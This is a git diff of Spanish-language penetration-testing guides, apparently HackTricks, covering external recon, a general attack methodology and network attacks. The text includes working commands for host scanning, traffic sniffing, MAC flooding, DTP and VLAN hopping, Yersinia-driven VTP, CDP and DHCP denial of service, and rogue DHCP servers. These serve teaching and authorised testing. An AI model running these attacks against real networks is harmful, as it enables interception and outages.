Con los **dominios,** **subdominios** y **correos electrónicos** puedes comenzar a buscar credenciales filtradas en el pasado que pertenezcan a esos correos electrónicos:
|
||||
|
||||
- [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
- [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
@ -572,15 +572,15 @@ Puedes usar la herramienta [**Pastos**](https://github.com/carlospolop/Pastos) p
|
||||
|
||||
Los viejos pero buenos dorks de google siempre son útiles para encontrar **información expuesta que no debería estar allí**. El único problema es que la [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contiene varios **miles** de posibles consultas que no puedes ejecutar manualmente. Así que, puedes obtener tus 10 favoritas o podrías usar una **herramienta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para ejecutarlas todas**.
|
||||
|
||||
_Nota que las herramientas que esperan ejecutar toda la base de datos usando el navegador regular de Google nunca terminarán, ya que Google te bloqueará muy, muy pronto._
|
||||
_Ten en cuenta que las herramientas que esperan ejecutar toda la base de datos usando el navegador regular de Google nunca terminarán, ya que Google te bloqueará muy, muy pronto._
|
||||
|
||||
### **Buscando vulnerabilidades**
|
||||
|
||||
Si encuentras credenciales o tokens de API **filtrados válidos**, esta es una victoria muy fácil.
|
||||
Si encuentras credenciales o tokens de API **filtrados válidos**, esto es una victoria muy fácil.
|
||||
|
||||
## Vulnerabilidades de Código Público
|
||||
|
||||
Si encontraste que la empresa tiene **código de código abierto** puedes **analizarlo** y buscar **vulnerabilidades** en él.
|
||||
Si descubriste que la empresa tiene **código de código abierto**, puedes **analizarlo** y buscar **vulnerabilidades** en él.
|
||||
|
||||
**Dependiendo del lenguaje**, hay diferentes **herramientas** que puedes usar:
|
||||
|
||||
@ -596,7 +596,7 @@ También hay servicios gratuitos que te permiten **escanear repositorios públic
|
||||
|
||||
La **mayoría de las vulnerabilidades** encontradas por cazadores de bugs residen dentro de **aplicaciones web**, así que en este punto me gustaría hablar sobre una **metodología de pruebas de aplicaciones web**, y puedes [**encontrar esta información aquí**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
También quiero hacer una mención especial a la sección [**Herramientas de Escaneo Automático de Web de código abierto**](../../network-services-pentesting/pentesting-web/#automatic-scanners), ya que, si no deberías esperar que encuentren vulnerabilidades muy sensibles, son útiles para implementarlas en **flujos de trabajo para tener alguna información web inicial.**
|
||||
También quiero hacer una mención especial a la sección [**Herramientas de escaneo automático de código abierto**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), ya que, si no deberías esperar que encuentren vulnerabilidades muy sensibles, son útiles para implementarlas en **flujos de trabajo para tener alguna información web inicial.**
|
||||
|
||||
## Recapitulación
|
||||
|
||||
@ -605,18 +605,18 @@ También quiero hacer una mención especial a la sección [**Herramientas de Esc
|
||||
Así que ya has:
|
||||
|
||||
1. Encontrado todas las **empresas** dentro del alcance
|
||||
2. Encontrado todos los **activos** pertenecientes a las empresas (y realizado algún escaneo de vulnerabilidades si está en el alcance)
|
||||
3. Encontrado todos los **dominios** pertenecientes a las empresas
|
||||
2. Encontrado todos los **activos** que pertenecen a las empresas (y realizado algún escaneo de vulnerabilidades si está en el alcance)
|
||||
3. Encontrado todos los **dominios** que pertenecen a las empresas
|
||||
4. Encontrado todos los **subdominios** de los dominios (¿alguna toma de subdominio?)
|
||||
5. Encontrado todas las **IPs** (de y **no de CDNs**) dentro del alcance.
|
||||
6. Encontrado todos los **servidores web** y tomado una **captura de pantalla** de ellos (¿algo extraño que valga la pena un examen más profundo?)
|
||||
7. Encontrado todos los **activos potenciales de nube pública** pertenecientes a la empresa.
|
||||
6. Encontrado todos los **servidores web** y tomado una **captura de pantalla** de ellos (¿algo extraño que valga la pena investigar más a fondo?)
|
||||
7. Encontrado todos los **activos potenciales de nube pública** que pertenecen a la empresa.
|
||||
8. **Correos electrónicos**, **filtraciones de credenciales** y **filtraciones de secretos** que podrían darte una **gran victoria muy fácilmente**.
|
||||
9. **Pentesting todas las webs que encontraste**
|
||||
|
||||
## **Herramientas Automáticas de Reconocimiento Completo**
|
||||
|
||||
Hay varias herramientas que realizarán parte de las acciones propuestas contra un alcance dado.
|
||||
Hay varias herramientas disponibles que realizarán parte de las acciones propuestas contra un alcance dado.
|
||||
|
||||
- [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
|
||||
- [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
|
||||
|
||||
@ -2,6 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Metodología de Pentesting
|
||||
|
||||
<figure><img src="../images/HACKTRICKS-logo.svg" alt=""><figcaption></figcaption></figure>
|
||||
@ -12,7 +13,7 @@ _Los logotipos de Hacktricks fueron diseñados por_ [_@ppiernacho_](https://www.
|
||||
|
||||
¿Tienes **acceso físico** a la máquina que deseas atacar? Deberías leer algunos [**trucos sobre ataques físicos**](../hardware-physical-access/physical-attacks.md) y otros sobre [**escapar de aplicaciones GUI**](../hardware-physical-access/escaping-from-gui-applications.md).
|
||||
|
||||
### 1 - [Descubriendo hosts dentro de la red](pentesting-network/#discovering-hosts)/ [Descubriendo Activos de la empresa](external-recon-methodology/)
|
||||
### 1 - [Descubriendo hosts dentro de la red](pentesting-network/index.html#discovering-hosts)/ [Descubriendo Activos de la empresa](external-recon-methodology/)
|
||||
|
||||
**Dependiendo** si la **prueba** que estás realizando es una **prueba interna o externa**, puede que te interese encontrar **hosts dentro de la red de la empresa** (prueba interna) o **encontrar activos de la empresa en internet** (prueba externa).
|
||||
|
||||
@ -22,23 +23,23 @@ _Los logotipos de Hacktricks fueron diseñados por_ [_@ppiernacho_](https://www.
|
||||
### **2-** [**Divirtiéndote con la red**](pentesting-network/) **(Interna)**
|
||||
|
||||
**Esta sección solo se aplica si estás realizando una prueba interna.**\
|
||||
Antes de atacar un host, tal vez prefieras **robar algunas credenciales** **de la red** o **snifar** algunos **datos** para aprender **pasivamente/activamente (MitM)** qué puedes encontrar dentro de la red. Puedes leer [**Pentesting Network**](pentesting-network/#sniffing).
|
||||
Antes de atacar un host, tal vez prefieras **robar algunas credenciales** **de la red** o **snifar** algunos **datos** para aprender **pasivamente/activamente (MitM)** qué puedes encontrar dentro de la red. Puedes leer [**Pentesting Network**](pentesting-network/index.html#sniffing).
|
||||
|
||||
### 3- [Escaneo de Puertos - Descubrimiento de servicios](pentesting-network/#scanning-hosts)
|
||||
### 3- [Escaneo de Puertos - Descubrimiento de servicios](pentesting-network/index.html#scanning-hosts)
|
||||
|
||||
Lo primero que debes hacer al **buscar vulnerabilidades en un host** es saber qué **servicios están corriendo** en qué puertos. Veamos las [**herramientas básicas para escanear puertos de hosts**](pentesting-network/#scanning-hosts).
|
||||
Lo primero que debes hacer al **buscar vulnerabilidades en un host** es saber qué **servicios están corriendo** en qué puertos. Veamos las [**herramientas básicas para escanear puertos de hosts**](pentesting-network/index.html#scanning-hosts).
|
||||
|
||||
### **4-** [Buscando exploits de versiones de servicio](../generic-hacking/search-exploits.md)
|
||||
|
||||
Una vez que sepas qué servicios están corriendo, y tal vez su versión, debes **buscar vulnerabilidades conocidas**. Tal vez tengas suerte y haya un exploit que te dé una shell...
|
||||
Una vez que sepas qué servicios están corriendo, y tal vez su versión, debes **buscar vulnerabilidades conocidas**. Quizás tengas suerte y haya un exploit que te dé una shell...
|
||||
|
||||
### **5-** Servicios de Pentesting
|
||||
|
||||
Si no hay ningún exploit interesante para algún servicio en ejecución, deberías buscar **configuraciones incorrectas comunes en cada servicio en ejecución.**
|
||||
|
||||
**Dentro de este libro encontrarás una guía para pentestear los servicios más comunes** (y otros que no son tan comunes)**. Por favor, busca en el índice de la izquierda la sección _**PENTESTING**_ (los servicios están ordenados por sus puertos predeterminados).
|
||||
**Dentro de este libro encontrarás una guía para pentestear los servicios más comunes** (y otros que no son tan comunes)**. Por favor, busca en el índice de la izquierda la** _**SECCIÓN PENTESTING**_ **(los servicios están ordenados por sus puertos predeterminados).**
|
||||
|
||||
**Quiero hacer una mención especial a la parte de** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(ya que es la más extensa).**\
|
||||
**Quiero hacer una mención especial a la** [**parte de Pentesting Web**](../network-services-pentesting/pentesting-web/) **(ya que es la más extensa).**\
|
||||
Además, aquí puedes encontrar una pequeña guía sobre cómo [**encontrar vulnerabilidades conocidas en software**](../generic-hacking/search-exploits.md).
|
||||
|
||||
**Si tu servicio no está en el índice, busca en Google** otros tutoriales y **déjame saber si quieres que lo agregue.** Si **no puedes encontrar nada** en Google, realiza tu **propio pentesting ciego**, podrías comenzar por **conectarte al servicio, fuzzing y leyendo las respuestas** (si las hay).
|
||||
@ -57,7 +58,7 @@ Si en este punto no has encontrado ninguna vulnerabilidad interesante, **puedes
|
||||
|
||||
### **7-** [**Obteniendo Shell**](../generic-hacking/reverse-shells/)
|
||||
|
||||
De alguna manera deberías haber encontrado **alguna forma de ejecutar código** en la víctima. Entonces, [una lista de posibles herramientas dentro del sistema que puedes usar para obtener una reverse shell sería muy útil](../generic-hacking/reverse-shells/).
|
||||
De alguna manera deberías haber encontrado **alguna forma de ejecutar código** en la víctima. Entonces, [una lista de posibles herramientas dentro del sistema que puedes usar para obtener una shell inversa sería muy útil](../generic-hacking/reverse-shells/).
|
||||
|
||||
Especialmente en Windows, podrías necesitar ayuda para **evitar antivirus**: [**Revisa esta página**](../windows-hardening/av-bypass.md)**.**\\
|
||||
|
||||
@ -102,7 +103,7 @@ Encuentra aquí diferentes formas de [**extraer contraseñas en Windows**](https
|
||||
#### 11.2 - Persistencia
|
||||
|
||||
**Usa 2 o 3 tipos diferentes de mecanismos de persistencia para que no necesites explotar el sistema nuevamente.**\
|
||||
**Aquí puedes encontrar algunos** [**trucos de persistencia en active directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||
**Aquí puedes encontrar algunos** [**trucos de persistencia en active directory**](../windows-hardening/active-directory-methodology/index.html#persistence)**.**
|
||||
|
||||
TODO: Completar persistencia Post en Windows y Linux
|
||||
|
||||
@ -131,4 +132,5 @@ Revisa también la página sobre [**NTLM**](../windows-hardening/ntlm/), podría
|
||||
- [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
- [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -12,7 +12,7 @@ En esta situación tienes un **rango de IPs** (quizás incluso varios **rangos**
|
||||
### ICMP
|
||||
|
||||
Esta es la forma **más fácil** y **rápida** de descubrir si un host está activo o no.\
|
||||
Podrías intentar enviar algunos paquetes de **ICMP** y **esperar respuestas**. La forma más sencilla es simplemente enviar una **solicitud de eco** y esperar la respuesta. Puedes hacer eso usando un simple `ping` o usando `fping` para **rangos**.\
|
||||
Puedes intentar enviar algunos paquetes de **ICMP** y **esperar respuestas**. La forma más sencilla es simplemente enviar una **solicitud de eco** y esperar la respuesta. Puedes hacer eso usando un simple `ping` o usando `fping` para **rangos**.\
|
||||
También podrías usar **nmap** para enviar otros tipos de paquetes ICMP (esto evitará filtros a la solicitud-respuesta de eco ICMP común).
|
||||
```bash
|
||||
ping -c 1 199.66.11.4 # 1 echo request to a host
|
||||
@ -43,9 +43,9 @@ nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
|
||||
# The -sV will make nmap test each possible known UDP service packet
|
||||
# The "--version-intensity 0" will make nmap only test the most probable
|
||||
```
|
||||
La línea de nmap propuesta anteriormente probará los **1000 puertos UDP principales** en cada host dentro del rango **/24**, pero incluso solo esto tomará **>20min**. Si necesita **resultados más rápidos**, puede usar [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24`. Esto enviará estas **probes UDP** a su **puerto esperado** (para un rango /24 esto solo tomará 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
La línea de nmap propuesta anteriormente probará los **1000 puertos UDP principales** en cada host dentro del rango **/24**, pero incluso solo esto tomará **>20min**. Si necesitas **resultados más rápidos**, puedes usar [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24`. Esto enviará estas **probes UDP** a su **puerto esperado** (para un rango /24 esto solo tomará 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
|
||||
### Descubrimiento de puertos SCTP
|
||||
### Descubrimiento de Puertos SCTP
|
||||
```bash
|
||||
#Probably useless, but it's pretty fast, why not try it?
|
||||
nmap -T4 -sY -n --open -Pn <IP/range>
|
||||
@ -75,8 +75,8 @@ set net.show.meta true #more info
|
||||
```
|
||||
### Activo
|
||||
|
||||
Tenga en cuenta que las técnicas comentadas en [_**Descubriendo hosts desde afuera**_](./#discovering-hosts-from-the-outside) (_Descubrimiento de puertos TCP/HTTP/UDP/SCTP_) también se pueden **aplicar aquí**.\
|
||||
Pero, como está en la **misma red** que los otros hosts, puede hacer **más cosas**:
|
||||
Note que las técnicas comentadas en [_**Descubriendo hosts desde afuera**_](#discovering-hosts-from-the-outside) (_Descubrimiento de puertos TCP/HTTP/UDP/SCTP_) también pueden ser **aplicadas aquí**.\
|
||||
Pero, como estás en la **misma red** que los otros hosts, puedes hacer **más cosas**:
|
||||
```bash
|
||||
#ARP discovery
|
||||
nmap -sn <Network> #ARP Requests (Discover IPs)
|
||||
@ -98,7 +98,7 @@ alive6 <IFACE> # Send a pingv6 to multicast.
|
||||
```
|
||||
### Active ICMP
|
||||
|
||||
Note que las técnicas comentadas en _Descubriendo hosts desde el exterior_ ([_**ICMP**_](./#icmp)) también pueden ser **aplicadas aquí**.\
|
||||
Note que las técnicas comentadas en _Descubriendo hosts desde el exterior_ ([_**ICMP**_](#icmp)) también pueden ser **aplicadas aquí**.\
|
||||
Pero, como estás en la **misma red** que los otros hosts, puedes hacer **más cosas**:
|
||||
|
||||
- Si **haces ping** a una **dirección de difusión de subred**, el ping debería llegar a **cada host** y podrían **responder** a **ti**: `ping -b 10.10.5.255`
|
||||
@ -155,7 +155,7 @@ nmap -sU -sV -sC -n -F -T4 <IP>
|
||||
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
|
||||
# You could use nmap to test all the UDP ports, but that will take a lot of time
|
||||
```
|
||||
### SCTP Scan
|
||||
### Escaneo SCTP
|
||||
|
||||
**SCTP (Stream Control Transmission Protocol)** está diseñado para ser utilizado junto con **TCP (Transmission Control Protocol)** y **UDP (User Datagram Protocol)**. Su principal propósito es facilitar el transporte de datos de telefonía a través de redes IP, reflejando muchas de las características de fiabilidad que se encuentran en **Signaling System 7 (SS7)**. **SCTP** es un componente central de la familia de protocolos **SIGTRAN**, que tiene como objetivo transportar señales SS7 a través de redes IP.
|
||||
|
||||
@ -182,7 +182,7 @@ nmap-summary-esp.md
|
||||
|
||||
### Revelando direcciones IP internas
|
||||
|
||||
**Los enrutadores, cortafuegos y dispositivos de red mal configurados** a veces responden a sondas de red utilizando **direcciones de origen no públicas**. **tcpdump** se puede utilizar para identificar paquetes recibidos de direcciones privadas durante las pruebas. Específicamente, en Kali Linux, se pueden capturar paquetes en la **interfaz eth2**, que es accesible desde Internet público. Es importante tener en cuenta que si tu configuración está detrás de un NAT o un cortafuegos, es probable que tales paquetes sean filtrados.
|
||||
**Los enrutadores, cortafuegos y dispositivos de red mal configurados** a veces responden a sondas de red utilizando **direcciones de origen no públicas**. **tcpdump** se puede utilizar para identificar paquetes recibidos de direcciones privadas durante las pruebas. Específicamente, en Kali Linux, se pueden capturar paquetes en la **interfaz eth2**, que es accesible desde Internet público. Es importante tener en cuenta que si tu configuración está detrás de un NAT o un cortafuegos, es probable que dichos paquetes sean filtrados.
|
||||
```bash
|
||||
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
|
||||
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
|
||||
@ -192,7 +192,7 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
|
||||
```
|
||||
## Sniffing
|
||||
|
||||
Con el sniffing puedes aprender detalles de rangos IP, tamaños de subred, direcciones MAC y nombres de host al revisar tramas y paquetes capturados. Si la red está mal configurada o la infraestructura de conmutación está bajo estrés, los atacantes pueden capturar material sensible a través del sniffing pasivo de red.
|
||||
Con el sniffing puedes aprender detalles de rangos IP, tamaños de subred, direcciones MAC y nombres de host revisando tramas y paquetes capturados. Si la red está mal configurada o la infraestructura de conmutación está bajo estrés, los atacantes pueden capturar material sensible a través del sniffing pasivo de red.
|
||||
|
||||
Si una red Ethernet conmutada está configurada correctamente, solo verás tramas de difusión y material destinado a tu dirección MAC.
|
||||
|
||||
@ -202,7 +202,7 @@ sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what
|
||||
tcpdump -i <IFACE> icmp #Listen to icmp packets
|
||||
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
|
||||
```
|
||||
También se pueden capturar paquetes de una máquina remota a través de una sesión SSH con Wireshark como la interfaz gráfica en tiempo real.
|
||||
También se pueden capturar paquetes de una máquina remota a través de una sesión SSH con Wireshark como la GUI en tiempo real.
|
||||
```
|
||||
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
|
||||
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
|
||||
@ -252,9 +252,9 @@ macof -i <interface>
|
||||
```
|
||||
En los switches modernos, esta vulnerabilidad ha sido corregida.
|
||||
|
||||
### Ataques 802.1Q VLAN / DTP
|
||||
### 802.1Q VLAN / DTP Attacks
|
||||
|
||||
#### Trunking Dinámico
|
||||
#### Dynamic Trunking
|
||||
|
||||
El **Dynamic Trunking Protocol (DTP)** está diseñado como un protocolo de capa de enlace para facilitar un sistema automático de trunking, permitiendo que los switches seleccionen automáticamente puertos para el modo trunk (Trunk) o modo no trunk. La implementación de **DTP** a menudo se considera indicativa de un diseño de red subóptimo, subrayando la importancia de configurar manualmente los trunks solo donde sea necesario y asegurando una documentación adecuada.
|
||||
|
||||
@ -279,7 +279,7 @@ Para enumerar las VLANs, también es posible generar el marco DTP Desirable con
|
||||
```
|
||||
sudo python3 DTPHijacking.py --interface eth0
|
||||
```
|
||||
Me gustaría señalar que **Access/Desirable (0x03)** indica que el marco DTP es del tipo Desirable, lo que le dice al puerto que cambie al modo Trunk. Y **802.1Q/802.1Q (0xa5)** indica el tipo de encapsulación **802.1Q**.
|
||||
Quisiera señalar que **Access/Desirable (0x03)** indica que el marco DTP es del tipo Desirable, lo que le dice al puerto que cambie al modo Trunk. Y **802.1Q/802.1Q (0xa5)** indica el tipo de encapsulación **802.1Q**.
|
||||
|
||||
Al analizar los marcos STP, **aprendemos sobre la existencia de VLAN 30 y VLAN 60.**
|
||||
|
||||
@ -288,7 +288,7 @@ Al analizar los marcos STP, **aprendemos sobre la existencia de VLAN 30 y VLAN 6
|
||||
#### Atacando VLANs específicas
|
||||
|
||||
Una vez que conozcas los IDs de VLAN y los valores de IP, puedes **configurar una interfaz virtual para atacar una VLAN específica**.\
|
||||
Si DHCP no está disponible, entonces usa _ifconfig_ para establecer una dirección IP estática.
|
||||
Si DHCP no está disponible, utiliza _ifconfig_ para establecer una dirección IP estática.
|
||||
```
|
||||
root@kali:~# modprobe 8021q
|
||||
root@kali:~# vconfig add eth1 250
|
||||
@ -327,7 +327,7 @@ El ataque discutido de **Dynamic Trunking y la creación de interfaces virtuales
|
||||
|
||||
#### Double Tagging
|
||||
|
||||
Si un atacante conoce el valor del **MAC, IP y VLAN ID del host víctima**, podría intentar **doblar la etiqueta de un marco** con su VLAN designada y la VLAN de la víctima y enviar un paquete. Como la **víctima no podrá conectarse de vuelta** con el atacante, la **mejor opción para el atacante es comunicarse a través de UDP** a protocolos que pueden realizar algunas acciones interesantes (como SNMP).
|
||||
Si un atacante conoce el valor del **MAC, IP y VLAN ID del host víctima**, podría intentar **doble etiquetar un marco** con su VLAN designada y la VLAN de la víctima y enviar un paquete. Como la **víctima no podrá conectarse de vuelta** con el atacante, la **mejor opción para el atacante es comunicarse a través de UDP** a protocolos que pueden realizar algunas acciones interesantes (como SNMP).
|
||||
|
||||
Otra opción para el atacante es lanzar un **escaneo de puertos TCP suplantando una IP controlada por el atacante y accesible por la víctima** (probablemente a través de internet). Luego, el atacante podría espiar en el segundo host de su propiedad si recibe algunos paquetes de la víctima.
|
||||
|
||||
@ -356,7 +356,7 @@ El ataque se ejecuta creando un **paquete que lleva la dirección IP del cliente
|
||||
|
||||
**Pasos Clave del Ataque:**
|
||||
|
||||
1. **Creación de un Paquete:** Se crea un paquete especialmente diseñado para incluir la dirección IP del cliente objetivo pero con la dirección MAC del router.
|
||||
1. **Creación de un Paquete:** Se crea un paquete especialmente para incluir la dirección IP del cliente objetivo pero con la dirección MAC del router.
|
||||
2. **Explotación del Comportamiento del Router:** El paquete creado se envía al router, que, debido a la configuración, redirige el paquete al cliente objetivo, eludiendo el aislamiento proporcionado por las configuraciones de VLAN privada.
|
||||
|
||||
### Ataques VTP
|
||||
@ -375,13 +375,13 @@ VTP (Protocolo de Trunking de VLAN) centraliza la gestión de VLAN. Utiliza núm
|
||||
- **Anuncio de Subconjunto:** Enviado tras cambios en la configuración de VLAN.
|
||||
- **Solicitud de Anuncio:** Emitida por un cliente VTP para solicitar un Anuncio Resumen, típicamente en respuesta a la detección de un número de revisión de configuración más alto.
|
||||
|
||||
Las vulnerabilidades de VTP son explotables exclusivamente a través de puertos trunk, ya que los anuncios de VTP circulan únicamente a través de ellos. Los escenarios posteriores a un ataque DTP pueden pivotar hacia VTP. Herramientas como Yersinia pueden facilitar ataques de VTP, con el objetivo de eliminar la base de datos de VLAN, interrumpiendo efectivamente la red.
|
||||
Las vulnerabilidades de VTP son explotables exclusivamente a través de puertos trunk, ya que los anuncios de VTP circulan únicamente a través de ellos. Los escenarios posteriores a un ataque DTP pueden pivotar hacia VTP. Herramientas como Yersinia pueden facilitar ataques VTP, con el objetivo de eliminar la base de datos de VLAN, interrumpiendo efectivamente la red.
|
||||
|
||||
Nota: Esta discusión se refiere a la versión 1 de VTP (VTPv1).
|
||||
````bash
|
||||
%% yersinia -G # Launch Yersinia in graphical mode ```
|
||||
````
|
||||
En el modo gráfico de Yersinia, elige la opción de eliminar todos los VLAN de VTP para purgar la base de datos de VLAN.
|
||||
En el modo gráfico de Yersinia, elige la opción de eliminar todos los VTP vlans para purgar la base de datos de VLAN.
|
||||
|
||||
### Ataques STP
|
||||
|
||||
@ -423,7 +423,7 @@ CISCO Discovery Protocol (CDP) es esencial para la comunicación entre dispositi
|
||||
|
||||
CDP está configurado para transmitir información a través de todos los puertos, lo que podría llevar a un riesgo de seguridad. Un atacante, al conectarse a un puerto de switch, podría desplegar sniffers de red como **Wireshark**, **tcpdump** o **Yersinia**. Esta acción puede revelar datos sensibles sobre el dispositivo de red, incluyendo su modelo y la versión de Cisco IOS que ejecuta. El atacante podría entonces apuntar a vulnerabilidades específicas en la versión de Cisco IOS identificada.
|
||||
|
||||
#### Induciendo Inundación de la Tabla CDP <a href="#id-0d6a" id="id-0d6a"></a>
|
||||
#### Induciendo la Inundación de la Tabla CDP <a href="#id-0d6a" id="id-0d6a"></a>
|
||||
|
||||
Un enfoque más agresivo implica lanzar un ataque de Denegación de Servicio (DoS) al abrumar la memoria del switch, pretendiendo ser dispositivos CISCO legítimos. A continuación se muestra la secuencia de comandos para iniciar tal ataque utilizando Yersinia, una herramienta de red diseñada para pruebas:
|
||||
```bash
|
||||
@ -450,7 +450,7 @@ La herramienta [**voiphopper**](http://voiphopper.sourceforge.net) está diseña
|
||||
|
||||
1. **Modo Sniff** (`-c 0`): Analiza paquetes de red para identificar el ID de VLAN.
|
||||
2. **Modo Spoof** (`-c 1`): Genera paquetes personalizados que imitan los de un dispositivo VoIP real.
|
||||
3. **Modo Spoof con Paquete Pre-hecho** (`-c 2`): Envía paquetes idénticos a los de un modelo específico de teléfono IP de Cisco.
|
||||
3. **Modo Spoof con Paquete Pre-hecho** (`-c 2`): Envía paquetes idénticos a los de un modelo específico de teléfono IP Cisco.
|
||||
|
||||
El modo preferido por velocidad es el tercero. Requiere especificar:
|
||||
|
||||
@ -489,7 +489,7 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
|
||||
```
|
||||
**DoS**
|
||||
|
||||
**Dos tipos de DoS** se pueden realizar contra servidores DHCP. El primero consiste en **simular suficientes hosts falsos para usar todas las direcciones IP posibles**.\
|
||||
**Se pueden realizar dos tipos de DoS** contra servidores DHCP. El primero consiste en **simular suficientes hosts falsos para utilizar todas las direcciones IP posibles**.\
|
||||
Este ataque funcionará solo si puedes ver las respuestas del servidor DHCP y completar el protocolo (**Discover** (Comp) --> **Offer** (servidor) --> **Request** (Comp) --> **ACK** (servidor)). Por ejemplo, esto **no es posible en redes Wifi**.
|
||||
|
||||
Otra forma de realizar un DoS de DHCP es enviar un **paquete DHCP-RELEASE utilizando como código fuente cada IP posible**. Entonces, el servidor pensará que todos han terminado de usar la IP.
|
||||
@ -499,11 +499,11 @@ yersinia dhcp -attack 3 #More parameters are needed
|
||||
```
|
||||
Una forma más automática de hacer esto es utilizando la herramienta [DHCPing](https://github.com/kamorin/DHCPig)
|
||||
|
||||
Podrías usar los ataques DoS mencionados para forzar a los clientes a obtener nuevos arrendamientos dentro del entorno y agotar los servidores legítimos para que se vuelvan inoperantes. Así que cuando los legítimos intenten reconectarse, **puedes servir valores maliciosos mencionados en el siguiente ataque**.
|
||||
Podrías usar los ataques de DoS mencionados para forzar a los clientes a obtener nuevos arrendamientos dentro del entorno y agotar los servidores legítimos para que se vuelvan inoperantes. Así que cuando los legítimos intenten reconectarse, **puedes servir valores maliciosos mencionados en el siguiente ataque**.
|
||||
|
||||
#### Establecer valores maliciosos
|
||||
|
||||
Se puede configurar un servidor DHCP malicioso utilizando el script DHCP ubicado en `/usr/share/responder/DHCP.py`. Esto es útil para ataques de red, como capturar tráfico HTTP y credenciales, redirigiendo el tráfico a un servidor malicioso. Sin embargo, establecer una puerta de enlace maliciosa es menos efectivo ya que solo permite capturar tráfico saliente del cliente, perdiendo las respuestas de la puerta de enlace real. En su lugar, se recomienda configurar un servidor DNS o WPAD malicioso para un ataque más efectivo.
|
||||
Se puede configurar un servidor DHCP malicioso utilizando el script DHCP ubicado en `/usr/share/responder/DHCP.py`. Esto es útil para ataques en la red, como capturar tráfico HTTP y credenciales, redirigiendo el tráfico a un servidor malicioso. Sin embargo, establecer una puerta de enlace maliciosa es menos efectivo ya que solo permite capturar tráfico saliente del cliente, perdiendo las respuestas de la puerta de enlace real. En su lugar, se recomienda configurar un servidor DNS o WPAD malicioso para un ataque más efectivo.
|
||||
|
||||
A continuación se presentan las opciones de comando para configurar el servidor DHCP malicioso:
|
||||
|
||||
@ -554,13 +554,13 @@ Se conocen tres versiones del Protocolo de Información de Enrutamiento (RIP): R
|
||||
- **RIP y RIPv2:** La comunicación se realiza a través de datagramas UDP en el puerto 520.
|
||||
- **RIPng:** Utiliza el puerto UDP 521 para transmitir datagramas a través de multicast IPv6.
|
||||
|
||||
Tenga en cuenta que RIPv2 admite autenticación MD5 mientras que RIPng no incluye autenticación nativa, confiando en encabezados de IPsec AH y ESP en IPv6.
|
||||
Tenga en cuenta que RIPv2 admite autenticación MD5 mientras que RIPng no incluye autenticación nativa, confiando en encabezados IPsec AH y ESP en IPv6.
|
||||
|
||||
### EIGRP Attacks
|
||||
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)** es un protocolo de enrutamiento dinámico. **Es un protocolo de vector de distancia.** Si no hay **autenticación** y configuración de interfaces pasivas, un **intruso** puede interferir con el enrutamiento de EIGRP y causar **envenenamiento de tablas de enrutamiento**. Además, la red EIGRP (en otras palabras, el sistema autónomo) **es plana y no tiene segmentación en zonas**. Si un **atacante inyecta una ruta**, es probable que esta ruta se **propague** por todo el sistema EIGRP autónomo.
|
||||
|
||||
Atacar un sistema EIGRP requiere **establecer un vecindario con un enrutador EIGRP legítimo**, lo que abre muchas posibilidades, desde reconocimiento básico hasta varias inyecciones.
|
||||
Atacar un sistema EIGRP requiere **establecer un vecindario con un enrutador EIGRP legítimo**, lo que abre muchas posibilidades, desde reconocimiento básico hasta diversas inyecciones.
|
||||
|
||||
[**FRRouting**](https://frrouting.org/) le permite implementar **un enrutador virtual que admite BGP, OSPF, EIGRP, RIP y otros protocolos.** Todo lo que necesita hacer es desplegarlo en el sistema de su atacante y puede pretender ser un enrutador legítimo en el dominio de enrutamiento.
|
||||
|
||||
@ -568,13 +568,13 @@ Atacar un sistema EIGRP requiere **establecer un vecindario con un enrutador EIG
|
||||
eigrp-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
[**Coly**](https://code.google.com/p/coly/) tiene capacidades para interceptar transmisiones de EIGRP (Enhanced Interior Gateway Routing Protocol). También permite la inyección de paquetes, que pueden ser utilizados para alterar configuraciones de enrutamiento.
|
||||
